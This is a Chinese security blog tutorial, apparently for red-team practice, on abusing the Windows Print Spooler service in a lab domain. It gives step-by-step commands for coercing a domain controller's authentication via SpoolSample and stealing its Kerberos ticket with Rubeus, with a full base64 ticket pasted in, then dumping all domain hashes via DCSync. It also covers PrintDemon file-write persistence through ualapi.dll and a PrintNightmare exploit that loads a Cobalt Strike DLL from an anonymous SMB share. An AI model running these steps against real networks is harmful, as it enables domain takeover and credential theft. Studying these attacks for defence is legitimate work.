是谁动了我的打印机服务? | 技术精选0125


本文约7300字,阅读约需15分钟。


WindowsPrintSpooler是Windows的打印机后台处理程序,广泛地应用于各种内网中。

因此在攻防演练中,红队成员进行内网横向的时候,也可以借助PrintSpooler的漏洞进行特权提升和获取域控权限等。

对于蓝队成员,要更多地关注PrintSpooler漏洞带来的影响和危害,进一步做好防御。


1

WindowsPrint Spooler

PrintSpooler是打印后台处理服务,管理所有本地和网络打印队列及控制所有打印工作。该服务会发送要打印的数据给USB/并行端口、位于本地网络或互联网上的打印机的TCP端口或本地文件。

PrintSpooler在Windows环境中作为具有SYSTEM级权限的服务运行,该服务默认运行在域控制器上,许多服务器也是默认配置为使用PrintSpooler。

存储关键数据,且不需要打印后台处理程序但默认配置的常见服务器列表有:

  • 域控制器和ActiveDirectory;
  • 域内服务器,例如SQL、文件系统和Exchange服务器;
  • 不需要打印的机器。

2

 相关CVE

CVE-2020-1048(在 Black Hat 2020 上展示的 Windows Print Spooler 中的特权提升漏洞;在野外被利用,Metasploit 模块可用);

CVE-2020-1337(绕过CVE-2020-1048 的补丁;Metasploit 模块可用);

CVE-2020-17001(CVE-2020-1048 的补丁绕过变体);

CVE-2020-17014(CVE-2020-1048 的补丁绕过变体);

CVE-2020-1300(在 DEF CON 2020 上展示的称为“ EvilPrinter ”的本地提权技术);

CVE-2021-24088(Windows 本地假脱机程序中的新远程代码执行漏洞,如 Black Hat 2021 所示);

CVE-2021-24077(Windows 传真服务中的新远程代码执行漏洞,如 Black Hat 2021 所示);

CVE-2021-1722(Windows 传真服务中的新远程代码执行漏洞,如 Black Hat 2021 所示);

CVE-2021-1675(2021 年 6 月修补的 Windows Print Spooler 中的特权提升漏洞);

CVE-2021-34527,又名“PrintNightmare”;

CVE-2021-35449(打印驱动程序本地提权漏洞,在 DEF CON 2021 上提出;Metasploit 模块正在进行中);

CVE-2021-38085(未打补丁的打印驱动程序的本地权限提升漏洞,因为呈现在DEF CON 2021; Metasploit的模块进行中);

CVE-2021-36958(未修补的远程代码执行漏洞;2021 年 8 月 11 日公布)。

3

漏洞利用

目前,已知PrintDemon(CVE-2020-1048)和PrintNightmare(CVE-2021-34527)都在野外被利用,PrintSpooler也可以搭配非约束委派进行利用。所以本文主要介绍以下几种利用方式:

域控制器打印服务器+非约束Kerberos委派=DCSync


漏洞原理如下:

利用Windows打印系统远程协议(MS-RPRN)中的一种虽然老旧,但默认启用的方法。在该方法中,域用户可以使用:


MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)

这一方法强制任何运行了Spooler服务的计算机,以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

利用条件如下:

  • 具有Kerberos无约束委派授权的账户;

  • 能够攻陷该账户;

  • 域控制器作为打印服务器运行(Print Spooler服务正在运行)。


漏洞环境如下:










域:dcyu.com;域控:IP:10.10.10.1;系统:Win2012;主机名:AD;用户:administrator;域内主机:IP:10.10.10.10系统:Win2012;主机名:web01;域用户:web01。

利用工具如下:





AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)Impacket(https://github.com/SecureAuthCorp/impacket)SpoolSample(https://github.com/leechristensen/SpoolSample)Rubeus(https://github.com/GhostPack/Rubeus)

利用方法如下:

(1)发现域内开启非约束委派的用户和主机,查询域内配置非约束委派的用户:


AdFind.exe  -b "DC=dcyu,DC=com" -f  "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn distinguishedName

查询域内配置非约束委派的主机:


AdFind.exe  -b "DC=dcyu,DC=com" -f  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn distinguishedName

注:也可以使用Powershell或者Ldap进行查询。


从图中可以看出主机web01配置了非约束委派(域控主机默认配置非约束委派)

(2)查看域控主机上是否运行PrintSpooler服务:


ls\adpipespoolss


有显示spoolss即为域控主机上运行了PrintSpooler服务,如果没有运行,我们将收到一个错误信息。

还有另一种方法。我们可以使用impacket中rpcdump.py脚本扫描存在PrintSpooler服务的主机:


python3rpcdump.py @10.10.10.1 | egrep 'MS-RPRN|MS-PAR'


如图所示为存在PrintSpooler服务,未显示信息则不存在。

(3)使用Rubeus监听来自域控(AD)的4624登录日志(需要管理员权限):


Rubeus.exemonitor /interval:1 /filteruser:ad$


(4)在web01主机上运行SpoolSample.exe,向域控(AD)的Spooler服务发送请求,强制域控(AD)向web01主机发起认证:


SpoolSample.exead web01


看到返回上述消息,表明域控主机对我们的web01主机进行身份验证了。

(5)捕捉到来自域控(AD)的认证请求,导出其TGT数据:


(6)使用Rubues进行PTT票据传递:

PTT操作将通过LsaCallAuthenticationPackage()API提交当前登录会话的(TGT或服务票证),其中包含KERB_SUBMIT_TKT_REQUEST消息,或者(如果已提升)由指定的登录会话"/luid:0xA.."。

与其他"/ticket:X"参数一样,该值可以是".kirbi"文件的base64编码或磁盘上".kirbi"文件的路径。

使用Rubues导入base64的ticket:


Rubeus.exe  ptt  /ticket:doIEyDCCBMSgAwIBBaEDAgEWooID3jCCA9phggPWMIID0qADAgEFoQobCERDWVUuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTaOCA54wggOaoAMCARKhAwIBAqKCA4wEggOIhEAzA7s8DXecjlils7N3XcCNXNH+742I3JKu20KSFPrZ3xfVuu4M9vQ7fYkc5LG/DvhZXM31lQSpZpKZb7s9Rw/Z7iaHF94eUAdU02Cr1ZNXeggpdEkEJzyaMZs0N95G+7vQwQ8HME1+Ls/NzzhshKStU9VMPJXMitGNTKSrpZLddT9ehET5v6bh7NRAQ/8G4s3WHT6v52EwG0jppRYEpgeVr22ICKq+aiZvdklqukJ1XMd0NBbbjutqH5+0EdfH5HPQpc9LTuyiBCcENZ3ZBKHp1EecXFxDaXThWVVtN52KdZ3s1FflawxxY3tiv04JqUoGwU4Dw6NUBQjaHnjQbtY4A6Ua7SRmdNtIpN5InxXKe/aK0said1DAJz8gez4oj5FeZzsDqp3o6TE5oCuNYMpHxMnwreD58/eiTNJR/5yQkoTDArt2c9ACdwUhGOH+hfDEpFGTS0cy+N1OrAdY7BSM0uEfxRyFtMnWcbO3eGlQR6H2EAMiqns0+sc8Pr/JgQCAA0zTxblrNQwbnhNRkna9**72bRgDJM36HQN4RGLErWcRexVkXVSe4VTCMW2DoDjq2VGvfHuszex+y0zRbRbI+jGYfwOqgcqshV4QhtZxxqmH9c5tqZH/AjoF6Kq8HZIjq7FzujPuu4daQl5v2EDLiGNG4/SwJyMaBbTiDY7JF+JAm/MydueDxV6q3iRfUlyXIAs1WPfe56huQc/ZaTJZP3Od1mhsBb1vx8cx+2FBmEnnDMmXOKLM6i44TJ12Hejz6zsJNnkCvwsSCIPI6xmB+lcRqpV6UFSNOSKf/wQap/TrZG+6peFBFFcJGMm3fA8U5xnIagZ6wuZUxsB+M/Mxm5E6u3fOVXWiFOodo/UNlO+VBNnBXRXsmu48T66Fndecpa/R7Kp1AvZhicErzY/q527YWu7AxlOoQichYcTELwJ9SOn0gpx9Rv7JhHY/ka9usGFnXukI9YYS1hY/vyUlNMZrvzhtDdALVSHc87md3wqOIWTwXVR5O4o6xgeKNmNbQBu8JeEYbt3LOGrKRMIJWCSSFHTNnlmeIrWTTOeanbZpuAnzcuyMyI1W8/s2PlycqmRh0POMmy1/ITOJHQmHgQYeaMpDhuCnUvvIGWs+LeBhdoLyyXHdnYokQ6Gc285lnJ9xJy2vv2nc9rvjHHVlUC0WnnlZlFuGiQCyBf8D6JCS1YmvOKOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oCswKaADAgESoSIEICdPOOt8xHFIpO+5u1BCUv2tjnemIILIHn8UJnZH9g0AoQobCERDWVUuQ09NohAwDqADAgEBoQcwBRsDQUQkowcDBQBgoQAApREYDzIwMjExMjI2MTMyNTI5WqYRGA8yMDIxMTIyNjIzMjUyOVqnERgPMjAyMjAxMDIxMzI1MjlaqAobCERDWVUuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTQ==



(7)成功导入TGT后,查看可用票据:


klist


如图所示,我们获得了域控主机(AD)的TGT票据(默认情况下,域控制器计算机账户对域对象具有DCSync权限)。

(8)利用DCSync导出域内所有用户hash:


lsadump::dcsync/domain:dcyu.com /all /csv


我们可以进一步进行Hash传递或者进行黄金票据等。

PrintDemon(CVE-2020-1048)


漏洞原理如下:

WindowsPrint Spooler服务不恰当地允许任意的文件系统写入,存在本地特权提升漏洞。

该漏洞由安全研究人员AlexIonescu和YardenShafir发现,并被命名为PrintDemon。

Windows添加打印机时,对portname的检查函数可以被绕过,设置为任意文件,因此我们可以把任意内容输出到portname对应的系统文件(如某个dll)中,实现权限提升。

攻击者可以利用该漏洞执行类似PowerShell命令,获取管理员级别系统权限,执行任意代码。

再来看利用条件。要利用此漏洞,攻击者必须登录受影响的系统并运行特制的脚本或应用程序。

影响范围如下:


Microsoft  Windows 10,Windows  10 1607版本,Windows  10 1709版本,Windows  10 1803版本,Windows  10 1809版本,Windows  10 1903版本,Windows  10 1909版本,Windows  7 SP1,Windows  8.1,Windows      RT 8.1,Windows  Server 2008 SP2,Windows  Server 2008 R2 SP1,Windows  Server 2012,Windows  Server 2012 R2,Windows  Server 2016,Windows  Server 2019,Windows  Server 1803版本,Windows  Server 1903版本,Windows  Server 1909版本。

漏洞环境如下:

系统:Win10 X64 1607企业版;

添加普通用户账户PrintDemon:


netuser PrintDemon ad@12345 /add


最后还是聊聊利用方法。利用方法大体分为两类,其一是假装创建一个打印机,向文件系统中写入数据:

(1)安装驱动:


Add-PrinterDriver -Name "Generic / Text Only"


枚举已安装的驱动:


Get-PrinterDriver


(2)将打印机与某个端口绑定(端口可以使用文件):


Add-PrinterPort  -Name "C:Windowssystem32PrintDemon.txt"


获取打印机端口信息:


Get-PrinterPort | ft name


(3)利用打印机驱动和端口创建并绑定一个打印机:


Add-Printer -Name "PrintDemon" -DriverName "Generic /Text Only" -PortName "C:Windowssystem32PrintDemon.txt"


查看打印机绑定情况:


Get-Printer | ft Name,DriverName,PortName


也可以在系统中“设备与打印机”中查看,多了一台名为“PrintDemon”的打印机:


(4)执行打印操作:


"Hello, World!" | Out-Printer -Name "PrintDemon"


目前显示“错误,正在打印”,需要重启主机或者重启spooler服务,使得以SYSTEM权限运行,才会将内容写入到文件中.

未重启前:


重启后:


查看文件内容:


type C:Windowssystem32PrintDemon.txt


方法其二则是持久化后门。

在未打补丁的系统PowerShell窗口中输入:


Add-PrinterPort-Namec:windowssystem32ualapi.dll

随后就能在系统上留下一个持久化后门。只需要将一个MZ文件“打印”到刚刚创建的打印机,就能大功告成。


方法三则是CVE-2020-1048补丁绕过方式。

  • 利用CVE-2020-1337;

  • 利用CVE-2020-17001。


PrintNightmare(CVE-2021-34527)


此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。

CVE-2021-1675的漏洞成因在于RpcAddPrinterDriverEx中,函数逻辑校验不严格,利用该漏洞,攻击者可以将普通用户权限提升至System权限。之后,微软紧急发布补丁对该漏洞进行修复。

但CVE-2021-34527绕过了微软的这个修复,CVE-2021-34527使用到了另一个打印服务的API:RpcAsyncAddPrinterDriver,该函数同样存在校验不严格的问题,是一个严重的远程代码执行漏洞。

成功利用此漏洞的攻击者可以使用SYSTEM权限运行任意代码。然后攻击者可以安装程序、查看、更改或删除数据,或创建具有完全用户权限的新账户。

漏洞利用条件如下:

  • 目标开启Spooler服务;

  • 一个普通权限的域账户;

  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件。


漏洞环境如下:












域:dcyu.com;域控:IP:192.168.194.131;系统:Win2019;主机名:AD;用户:administrator;域内主机:IP:192.168.194.135;系统:Win2019;主机名:web01;域用户:web01攻击主机:IP:192.168.194.130;系统:Kali。

利用工具如下:

https://github.com/cube0x0/CVE-2021-1675
https://github.com/cube0x0/impacket

利用方法如下:

(1)查看域控主机上是否运行PrintSpooler服务:


ls\ADpipespoolss
   

(2)在web01中开启SMB匿名访问:

Windows下用于构建匿名SMB文件服务器脚本(By3gstudent):

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

cube0x0的powershell脚本:

https://github.com/cube0x0/CVE-2021-1675










mkdir  C:shareicacls  C:share /T /grant Anonymous` logon:ricacls  C:share /T /grant Everyone:rNew-SmbShare  -Path C:share -Name share -ReadAccess 'ANONYMOUS  LOGON','Everyone'REG  ADD  "HKLMSystemCurrentControlSetServicesLanManServerParameters"  /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will  overwrite existing NullSessionPipesREG  ADD  "HKLMSystemCurrentControlSetServicesLanManServerParameters"  /v NullSessionShares /t REG_MULTI_SZ /d share /fREG  ADD "HKLMSystemCurrentControlSetControlLsa" /v  EveryoneIncludesAnonymous /t REG_DWORD /d 1 /fREG  ADD "HKLMSystemCurrentControlSetControlLsa" /v  RestrictAnonymous /t REG_DWORD /d 0 /f#  Reboot

复制上面信息到一个ps1文件中,在Powershell下使用管理员权限运行,即可在Windows下开启SMB匿名访问。

(3)扫描潜在的易受攻击的主机:

首先安装impacket包:




git  clone https://github.com/cube0x0/impacketcd  impacketpython3  ./setup.py install

然后,Kali使用rpcdump.py来扫描潜在的易受攻击的主机:


rpcdump.py  @192.168.194.131 | egrep 'MS-RPRN|MS-PAR'



有返回信息,说明它可能是易受攻击的。

(4)CS生成DLL文件并将文件放在共享目录下:


(5)Kali中漏洞利用,远程加载共享目录下的DLL文件:


./CVE-2021-1675.py  dcyu.com/web01@192.168.194.131 '\192.168.194.135shareb64.dll'



(6)执行成功,上线CS:


这一漏洞的利用场景如下:

CVE-2021-1675/CVE-2021-1675漏洞可以利用于以下场景:

在工作组环境下,可通过该漏洞获取系统最高权限;

域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;

可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。

4

参考

https://book.hacktricks.xyz/windows/active-directory-methodology/printers-spooler-service-abuse
https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/
https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/
https://adsecurity.org/?p=4056
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
https://paper.seebug.org/1635/


- END -


往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注

点击下方阅读原文,加入社群,读者作者无障碍交流

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/174571.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:105 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号